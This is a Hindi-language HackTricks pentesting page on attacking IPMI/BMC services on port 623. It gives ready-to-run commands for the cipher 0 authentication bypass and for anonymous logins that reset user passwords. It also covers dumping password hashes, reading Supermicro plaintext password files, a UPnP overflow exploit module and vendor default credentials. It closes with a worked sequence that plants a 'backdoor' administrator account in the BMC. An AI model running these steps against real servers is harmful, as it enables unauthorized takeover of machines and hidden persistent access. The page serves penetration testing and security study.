623/UDP/TCP - IPMI
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Basic Information
IPMI का अवलोकन
Intelligent Platform Management Interface (IPMI) कंप्यूटर सिस्टम के दूरस्थ प्रबंधन और निगरानी के लिए एक मानकीकृत दृष्टिकोण प्रदान करता है, जो ऑपरेटिंग सिस्टम या पावर स्थिति से स्वतंत्र है। यह तकनीक सिस्टम प्रशासकों को दूरस्थ रूप से सिस्टम प्रबंधित करने की अनुमति देती है, यहां तक कि जब वे बंद या असंवेदनशील होते हैं, और यह विशेष रूप से उपयोगी है:
- प्री-ओएस बूट कॉन्फ़िगरेशन
- पावर-ऑफ प्रबंधन
- सिस्टम विफलताओं से पुनर्प्राप्ति
IPMI तापमान, वोल्टेज, फैन स्पीड और पावर सप्लाई की निगरानी करने में सक्षम है, साथ ही इन्वेंटरी जानकारी प्रदान करता है, हार्डवेयर लॉग की समीक्षा करता है, और SNMP के माध्यम से अलर्ट भेजता है। इसके संचालन के लिए एक पावर स्रोत और एक LAN कनेक्शन आवश्यक हैं।
1998 में Intel द्वारा पेश किए जाने के बाद से, IPMI को कई विक्रेताओं द्वारा समर्थित किया गया है, जो दूरस्थ प्रबंधन क्षमताओं को बढ़ाता है, विशेष रूप से संस्करण 2.0 के LAN पर सीरियल के समर्थन के साथ। मुख्य घटक शामिल हैं:
- Baseboard Management Controller (BMC): IPMI संचालन के लिए मुख्य माइक्रो-कंट्रोलर।
- संचार बस और इंटरफेस: आंतरिक और बाहरी संचार के लिए, जिसमें ICMB, IPMB, और स्थानीय और नेटवर्क कनेक्शनों के लिए विभिन्न इंटरफेस शामिल हैं।
- IPMI मेमोरी: लॉग और डेटा संग्रहीत करने के लिए।
डिफ़ॉल्ट पोर्ट: 623/UDP/TCP (यह आमतौर पर UDP पर होता है लेकिन यह TCP पर भी चल सकता है)
Enumeration
Discovery
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
आप संस्करण का पहचान कर सकते हैं:
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
IPMI Vulnerabilities
IPMI 2.0 के क्षेत्र में, Dan Farmer द्वारा एक महत्वपूर्ण सुरक्षा दोष का पता लगाया गया, जो cipher type 0 के माध्यम से एक भेद्यता को उजागर करता है। यह भेद्यता, जिसका विस्तृत विवरण Dan Farmer's research में दिया गया है, किसी भी पासवर्ड के साथ अनधिकृत पहुंच की अनुमति देती है यदि एक मान्य उपयोगकर्ता को लक्षित किया जाए। यह कमजोरी HP, Dell, और Supermicro जैसे निर्माताओं के विभिन्न BMCs में पाई गई, जो सभी IPMI 2.0 कार्यान्वयन में एक व्यापक समस्या का सुझाव देती है।
IPMI Authentication Bypass via Cipher 0
इस दोष का पता लगाने के लिए, निम्नलिखित Metasploit सहायक स्कैनर का उपयोग किया जा सकता है:
use auxiliary/scanner/ipmi/ipmi_cipher_zero
इस दोष का शोषण ipmitool
के साथ किया जा सकता है, जैसा कि नीचे प्रदर्शित किया गया है, जो उपयोगकर्ता पासवर्ड की सूची बनाने और संशोधित करने की अनुमति देता है:
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
IPMI 2.0 RAKP प्रमाणीकरण दूरस्थ पासवर्ड हैश पुनर्प्राप्ति
यह सुरक्षा कमी किसी भी मौजूदा उपयोगकर्ता नाम के लिए नमकीन हैश किए गए पासवर्ड (MD5 और SHA1) की पुनर्प्राप्ति की अनुमति देती है। इस सुरक्षा कमी का परीक्षण करने के लिए, Metasploit एक मॉड्यूल प्रदान करता है:
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
IPMI गुमनाम प्रमाणीकरण
कई BMCs में एक डिफ़ॉल्ट कॉन्फ़िगरेशन "गुमनाम" पहुँच की अनुमति देता है, जो शून्य उपयोगकर्ता नाम और पासवर्ड स्ट्रिंग द्वारा विशेषता प्राप्त करता है। इस कॉन्फ़िगरेशन का उपयोग ipmitool
का उपयोग करके नामित उपयोगकर्ता खातों के पासवर्ड को रीसेट करने के लिए किया जा सकता है:
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
Supermicro IPMI स्पष्ट-पाठ पासवर्ड
IPMI 2.0 में एक महत्वपूर्ण डिज़ाइन विकल्प BMCs के भीतर प्रमाणीकरण उद्देश्यों के लिए स्पष्ट-पाठ पासवर्डों के भंडारण की आवश्यकता करता है। Supermicro द्वारा इन पासवर्डों को /nv/PSBlock
या /nv/PSStore
जैसे स्थानों में संग्रहीत करने से महत्वपूर्ण सुरक्षा चिंताएँ उठती हैं:
cat /nv/PSBlock
Supermicro IPMI UPnP Vulnerability
Supermicro के IPMI फर्मवेयर में UPnP SSDP श्रोता का समावेश, विशेष रूप से UDP पोर्ट 1900 पर, एक गंभीर सुरक्षा जोखिम प्रस्तुत करता है। Intel SDK for UPnP Devices संस्करण 1.3.1 में कमजोरियाँ, जैसा कि Rapid7's disclosure में विस्तृत किया गया है, BMC तक रूट एक्सेस की अनुमति देती हैं:
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
Brute Force
**HP अपने Integrated Lights Out (iLO) उत्पाद के लिए डिफ़ॉल्ट पासवर्ड को निर्माण के दौरान यादृच्छिक बनाता है। यह प्रथा अन्य निर्माताओं के विपरीत है, जो आमतौर पर स्थिर डिफ़ॉल्ट क्रेडेंशियल्स का उपयोग करते हैं। विभिन्न उत्पादों के लिए डिफ़ॉल्ट उपयोगकर्ता नाम और पासवर्ड का सारांश इस प्रकार है:
- HP Integrated Lights Out (iLO) एक फैक्टरी यादृच्छिक 8-चरित्र स्ट्रिंग को अपने डिफ़ॉल्ट पासवर्ड के रूप में उपयोग करता है, जो उच्च सुरक्षा स्तर को दर्शाता है।
- Dell's iDRAC, IBM's IMM, और Fujitsu's Integrated Remote Management Controller जैसे उत्पाद आसानी से अनुमानित पासवर्ड का उपयोग करते हैं जैसे "calvin", "PASSW0RD" (शून्य के साथ), और "admin" क्रमशः।
- इसी तरह, Supermicro IPMI (2.0), Oracle/Sun ILOM, और ASUS iKVM BMC भी सरल डिफ़ॉल्ट क्रेडेंशियल्स का उपयोग करते हैं, जिनमें "ADMIN", "changeme", और "admin" उनके पासवर्ड के रूप में कार्य करते हैं।
Accessing the Host via BMC
Baseboard Management Controller (BMC) तक प्रशासनिक पहुंच होस्ट के ऑपरेटिंग सिस्टम तक पहुंचने के लिए विभिन्न मार्ग खोलती है। एक सीधा दृष्टिकोण BMC के कीबोर्ड, वीडियो, माउस (KVM) कार्यक्षमता का लाभ उठाना है। यह या तो GRUB के माध्यम से रूट शेल पर होस्ट को पुनरारंभ करके (init=/bin/sh
) या एक वर्चुअल CD-ROM से बूट करके किया जा सकता है जिसे एक बचाव डिस्क के रूप में सेट किया गया है। ऐसे तरीके होस्ट के डिस्क में सीधे हेरफेर की अनुमति देते हैं, जिसमें बैकडोर डालना, डेटा निकालना, या सुरक्षा मूल्यांकन के लिए आवश्यक किसी भी कार्रवाई को करना शामिल है। हालाँकि, इसके लिए होस्ट को पुनरारंभ करना आवश्यक है, जो एक महत्वपूर्ण कमी है। बिना पुनरारंभ किए, चल रहे होस्ट तक पहुंचना अधिक जटिल है और होस्ट की कॉन्फ़िगरेशन के साथ भिन्न होता है। यदि होस्ट का भौतिक या अनुक्रमिक कंसोल लॉग इन रहता है, तो इसे BMC के KVM या सीरियल-ओवर-LAN (sol) कार्यक्षमताओं के माध्यम से ipmitool
के माध्यम से आसानी से नियंत्रित किया जा सकता है। साझा हार्डवेयर संसाधनों, जैसे i2c बस और सुपर I/O चिप के शोषण की खोज एक ऐसा क्षेत्र है जिसे आगे की जांच की आवश्यकता है।
Introducing Backdoors into BMC from the Host
BMC से लैस एक होस्ट से समझौता करने पर, स्थानीय BMC इंटरफ़ेस का उपयोग एक बैकडोर उपयोगकर्ता खाता डालने के लिए किया जा सकता है, जो सर्वर पर एक स्थायी उपस्थिति बनाता है। इस हमले के लिए समझौता किए गए होस्ट पर ipmitool
की उपस्थिति और BMC ड्राइवर समर्थन को सक्रिय करने की आवश्यकता होती है। निम्नलिखित कमांड दर्शाते हैं कि कैसे एक नया उपयोगकर्ता खाता होस्ट के स्थानीय इंटरफ़ेस का उपयोग करके BMC में इंजेक्ट किया जा सकता है, जो प्रमाणीकरण की आवश्यकता को बायपास करता है। यह तकनीक लिनक्स, विंडोज, BSD, और यहां तक कि DOS सहित विभिन्न ऑपरेटिंग सिस्टम पर लागू होती है।
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
Shodan
port:623
References
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।